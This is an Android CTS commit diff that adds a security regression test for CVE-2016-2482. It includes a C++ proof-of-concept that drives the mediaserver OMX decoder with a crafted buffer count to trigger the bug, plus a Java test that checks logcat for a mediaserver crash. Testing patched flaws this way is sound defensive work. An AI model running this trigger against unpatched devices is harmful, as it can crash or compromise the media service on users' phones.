[RESTRICT AUTOMERGE]: CTS test for Android Security b/72507702 b/27661749

Test: successful run of newly introduced CTS test case.
Bug: 72507702
Bug: 27661749

Change-Id: I3b413ca52700c73fabc78c9c6e419e1d56367196
Signed-off-by: Meeta Solanki <meeta.solanki@harman.corp-partner.google.com>
diff --git a/hostsidetests/securitybulletin/AndroidTest.xml b/hostsidetests/securitybulletin/AndroidTest.xml
index 70e471a..36f63ca 100644
--- a/hostsidetests/securitybulletin/AndroidTest.xml
+++ b/hostsidetests/securitybulletin/AndroidTest.xml
@@ -56,6 +56,7 @@
         <!--__________________-->
         <!-- Bulletin 2016-06 -->
         <!-- Please add tests solely from this bulletin below to avoid merge conflict -->
+        <option name="push" value="CVE-2016-2482->/data/local/tmp/CVE-2016-2482" />
 
         <!--__________________-->
         <!-- Bulletin 2016-07 -->
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
new file mode 100644
index 0000000..f05c78a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-2482
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
+                    $(TOP)/frameworks/native/include/media/openmax \
+                    ndk/sources/cpufeatures
+
+LOCAL_SHARED_LIBRARIES := libutils \
+                          liblog \
+                          libmedia \
+                          libbinder \
+                          libui \
+                          libgui
+
+LOCAL_STATIC_LIBRARIES := cpufeatures
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+LOCAL_ARM_MODE := arm
+LOCAL_CPPFLAGS += -Wall -Werror
+
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
new file mode 100644
index 0000000..5066f6f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2016-2482/poc.cpp
@@ -0,0 +1,144 @@
+/**
+* Copyright (C) 2018 The Android Open Source Project
+*
+* Licensed under the Apache License, Version 2.0 (the "License");
+* you may not use this file except in compliance with the License.
+* You may obtain a copy of the License at
+*
+*      http://www.apache.org/licenses/LICENSE-2.0
+*
+* Unless required by applicable law or agreed to in writing, software
+* distributed under the License is distributed on an "AS IS" BASIS,
+* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+* See the License for the specific language governing permissions and
+* limitations under the License.
+*/
+
+#define LOG_TAG "CVE-2016-2482"
+
+#include <OMX_Component.h>
+#include <OMX_Types.h>
+#include <binder/IServiceManager.h>
+#include <binder/MemoryDealer.h>
+#include <binder/Parcel.h>
+#include <fcntl.h>
+#include <gui/IGraphicBufferProducer.h>
+#include <media/IMediaPlayer.h>
+#include <media/IMediaPlayerClient.h>
+#include <media/IMediaPlayerService.h>
+#include <media/IMediaRecorder.h>
+#include <media/IOMX.h>
+#include <media/OMXBuffer.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+
+#define OMX_DirInput 0
+#define OMX_CORE_INPUT_PORT_INDEX 0
+
+using namespace android;
+
+struct DummyOMXObserver : public BnOMXObserver {
+public:
+  DummyOMXObserver() {}
+
+  virtual void onMessages(const std::list<omx_message> &messages __unused) {}
+
+protected:
+  virtual ~DummyOMXObserver() {}
+};
+
+// decoder
+bool fuzzIOMXSetParameterChangeCount() {
+  sp<IServiceManager> sm = defaultServiceManager();
+
+  sp<IBinder> binder = sm->getService(String16("media.player"));
+  sp<IMediaPlayerService> mediaPlayerService =
+      interface_cast<IMediaPlayerService>(binder);
+
+  if (mediaPlayerService == NULL) {
+    ALOGI("mediaPlayerService == NULL");
+    return false;
+  }
+
+  sp<IOMX> service = mediaPlayerService->getOMX();
+  if (service == NULL) {
+    ALOGI("service == NULL");
+    return false;
+  }
+
+  sp<IOMXNode> node = 0;
+  IOMX::buffer_id bufferId = 0;
+  int outMemSize = 1024;
+  int bufferCnt = 4;
+  int memSize = 49 * outMemSize * bufferCnt;
+
+  sp<DummyOMXObserver> observer = new DummyOMXObserver();
+
+  const char *name = "OMX.qcom.video.decoder.avc";
+  status_t err = service->allocateNode(name, observer, &node);
+  if (err != OK) {
+    ALOGI("%s node allocation fails", name);
+    return false;
+  }
+
+  sp<MemoryDealer> dealerIn = new MemoryDealer(memSize);
+
+  sp<IMemory> memory = dealerIn->allocate(memSize);
+  if (memory.get() == nullptr || memory->pointer() == nullptr) {
+    ALOGE("memory allocation failed , err: %d", err);
+    node->freeNode();
+    return false;
+  }
+
+  OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
+      sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+  if (params == nullptr || params == nullptr) {
+    ALOGE("memory allocation failed , err: %d", err);
+    return false;
+  }
+  memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+
+  params->eDir = (OMX_DIRTYPE)OMX_DirInput;
+
+  params->nBufferCountActual = 1024 * 1024 / 16;
+  params->nBufferSize = 0x31000;
+  params->format.video.nFrameHeight = 0;
+
+  /*
+   * Exit from here if setParameter fails.
+   * This is the expected behavior in Android N
+   */
+  err = node->setParameter(OMX_IndexParamPortDefinition, params,
+                              sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  ALOGI("setParameter, err: %d", err);
+  if (err != OK) {
+    node->freeNode();
+    return false;
+  }
+
+  /*
+   * Exit from here if useBuffer fails.
+   * This is the expected behavior in Android N
+   */
+  err = node->useBuffer(OMX_CORE_INPUT_PORT_INDEX, memory, &bufferId);
+  ALOGI("useBuffer, err: %d", err);
+  if (err != OK) {
+    node->freeNode();
+    return false;
+  }
+
+  params->nBufferCountActual = 0xFFFFFFFF;
+
+  err = node->setParameter(OMX_IndexParamPortDefinition, params,
+                              sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+  ALOGI("setParameter, change actualcount, err: %d", err);
+
+  err = node->freeNode();
+  ALOGI("freeNode, err: %d", err);
+  return true;
+}
+
+int main() {
+  return (int)(!fuzzIOMXSetParameterChangeCount());
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
new file mode 100644
index 0000000..3559683
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc16_06.java
@@ -0,0 +1,34 @@
+/**
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc16_06 extends SecurityTestCase {
+
+    /**
+     *  b/27475409
+     */
+    @SecurityTest(minPatchLevel = "2016-06")
+    public void testPocCVE_2016_2482() throws Exception {
+        AdbUtils.runCommandLine("logcat -c" , getDevice());
+        AdbUtils.runPoc("CVE-2016-2482", getDevice(), 60);
+        String logcat =  AdbUtils.runCommandLine("logcat -d", getDevice());
+        assertNotMatchesMultiLine("Fatal signal[\\s\\S]*/system/bin/mediaserver",
+                         logcat);
+    }
+}